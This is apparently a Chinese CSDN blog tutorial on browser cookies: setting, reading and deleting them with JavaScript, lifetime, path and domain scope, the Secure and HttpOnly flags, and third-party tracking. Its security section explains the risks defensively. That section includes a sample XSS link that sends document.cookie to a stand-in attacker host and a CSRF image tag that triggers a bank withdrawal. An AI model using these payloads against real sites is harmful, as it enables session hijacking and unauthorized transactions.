cookie

cookie

一、描述

cookie: 会话跟踪技术 客户端

cookie作用: 将网页中的数据保存到浏览器中

session: 会话跟踪技术 服务端

cookie是一个很小的文本文件,是浏览器储存在用户的机器上的。

Cookie是纯文本,没有可执行代码。储存一些服务器需要的信息,每次请求站点,会发送相应的cookie,这些cookie可以用来辨别用户身份信息等作用。

cookie可以包含任意的信息,不仅仅是id

 //添加cookie的键值对时,必须要分开单个添加,不能合并写在一起
 document.cookie = "name=lnj;";
 document.cookie = "age=33;";
 //错误写法:document.cookie = "name=lnj;age=33;gender=male;";

二、cookie生命周期

默认情况下生命周期是一次会话(浏览器被关闭)

​ 如果通过expires= ; 设置了过期时间, 并且过期时间没有过期, 那么下次打开浏览器还是存在

​ 如果通过expires= ; 设置了过期时间, 并且过期时间已经过期了,那么会立即删除保存的数据

<script>
       window.onload = function (ev) {
            var date = new Date();
            date.setDate(date.getDate() - 1);//设置过期时间
            document.cookie = "age=23;expires="+date.toGMTString()+";";
</script>

三、cookie注意点

cookie默认不会保存任何的数据

​ cookie不能一次性保存多条数据, 要想保存多条数据,只能一条一条的设置

​ cookie有大小和个数的限制

​ 个数限制: 20~50

​ 大小限制: 4KB左右

四、 cookie作用范围

同一个浏览器的同一个路径下可以访问(即文件名可以不同)

​ 如果在同一个浏览器中, 默认情况下 下一级路径就可以访问

​ 如果在同一个浏览器中, 想让上一级目录也能访问保存的cookie, 那么需要添加一个path属性才可以;

​ document.cookie = “name=zs;path=/;”;

​ 例如:

​ 保存到了www.it666.com/jQuery/Ajax/路径下

​ 要想上一级的 www.it666.com/jQuery/ 路径下也能访问,需要添加一个path属性才可以

​ 例如:

​ 在www.it666.com下面保存了一个cookie,

​ 那么我们在edu.it666.com中是无法访问的

​ 如果想在edu.it666.com中也能访问, 那么我们需要再添加一个domain属性才可以;

​ document.cookie = “name=zs;path=/;domain=it666.com;”;

五、封装一个cookie方法

<script>
        window.onload = function (ev) {
            // document.cookie = "age=88;";
            // addCookie("gender", "male");
            // addCookie("score", "998", 1, "/", "127.0.0.1");
            function addCookie(key, value, day, path, domain) {
                // 1.处理默认保存的路径
                var index = window.location.pathname.lastIndexOf("/")
                var currentPath = window.location.pathname.slice(0, index);
                path = path || currentPath;
                // 2.处理默认保存的domain
                domain = domain || document.domain;
                // 3.处理默认的过期时间
                if (!day) {
                    document.cookie = key + "=" + value + ";path=" + path + ";domain=" + domain + ";";
                } else {
                    var date = new Date();
                    date.setDate(date.getDate() + day);
                    document.cookie = key + "=" + value + ";expires=" + date.toGMTString() + ";path=" + path + ";domain=" + domain + ";";
                }
            }

            function getCookie(key) {
                // console.log(document.cookie);
                var res = document.cookie.split(";");
                // console.log(res);
                for (var i = 0; i < res.length; i++) {
                    // console.log(res[i]);
                    var temp = res[i].split("=");
                    // console.log(temp);
                    if (temp[0].trim() === key) {
                        return temp[1];
                    }
                }
            }
            console.log(getCookie("name"));
            // 默认情况下只能删除默认路径中保存的cookie, 如果想删除指定路径保存的cookie, 那么必须在删除的时候指定路径才可以
            function delCookie(key, path) {
                addCookie(key, getCookie(key), -1, path);
            }
            delCookie("name", "/");
        }
    </script>

六、hash

<script>
	window.location.hash = 3;
	console.log(window.location.hash.substring(1));//默认会打印#3
</script>

七、安全性

Secure: 设置了属性secure,cookie只有在https协议加密情况下才会发送给服务端。但是这并不是最安全的,由于其固有的不安全性,敏感信息也是不应该通过cookie传输的

禁止javascript操作cookie(为避免跨域脚本(xss)攻击,通过javascript的document.cookie无法访问带有HttpOnly标记的cookie。)
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2017 07:28:00 GMT; Secure; HttpOnly

八、第三方cookie

第三方cookie就是cookie的域和地址栏中的域不匹配,这种cookie通常被用在第三方广告网站。为了跟踪用户的浏览记录,并且根据收集的用户的浏览习惯,给用户推送相关的广告。

九、安全事故

网络窃听

网络上的流量可以被网络上任何计算机拦截,特别是未加密的开放式WIFI。这种流量包含在普通的未加密的HTTP清求上发送Cookie。在未加密的情况下,攻击者可以读取网络上的其他用户的信息,包含HTTP Cookie的全部内容,以便进行中间的攻击。比如:拦截cookie来冒充用户身份执行恶意任务(银行转账等)。

解决办法:服务器可以设置secure属性的cookie,这样就只能通过https的方式来发送cookies了。

DNS缓存中毒

如果攻击者可以使DNS缓存中毒,那么攻击者就可以访问用户的Cookie了,例如:攻击者使用DNS中毒来创建一个虚拟的NDS服务h123456.www.demo.com指向攻击者服务器的ip地址。然后攻击者可以从服务器 h123456.www.demo.com/img_01.png 发布图片。用户访问这个图片,由于 www.demo.com和h123456.www.demo.com是同一个子域,所以浏览器会把用户的与www.demo.com相关的cookie都会发送到h123456.www.demo.com这个服务器上,这样攻击者就会拿到用户的cookie搞事情。

一般情况下是不会发生这种情况,通常是网络供应商错误。

跨站点脚本XSS

使用跨站点脚本技术可以窃取cookie。当网站允许使用javascript操作cookie的时候,就会发生攻击者发布恶意代码攻击用户的会话,同时可以拿到用户的cookie信息。

例子:

<a href="#" onclick=`window.location=http://abc.com?cookie=${docuemnt.cookie}`>领取红包</a>

当用户点击这个链接的时候,浏览器就会执行onclick里面的代码,结果这个网站用户的cookie信息就会被发送到abc.com攻击者的服务器。攻击者同样可以拿cookie搞事情。

解决办法:可以通过cookie的HttpOnly属性,设置了HttpOnly属性,javascript代码将不能操作cookie。

跨站请求伪造CSRF

例如,SanShao可能正在浏览其他用户XiaoMing发布消息的聊天论坛。假设XiaoMing制作了一个引用ShanShao银行网站的HTML图像元素,例如,

<img  src = "http://www.bank.com/withdraw?user=SanShao&amount=999999&for=XiaoMing" >

如果SanShao的银行将其认证信息保存在cookie中,并且cookie尚未过期,(当然是没有其他验证身份的东西),那么SanShao的浏览器尝试加载该图片将使用他的cookie提交提款表单,从而在未经SanShao批准的情况下授权交易。

解决办法:增加其他信息的校验(手机验证码,或者其他盾牌)。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值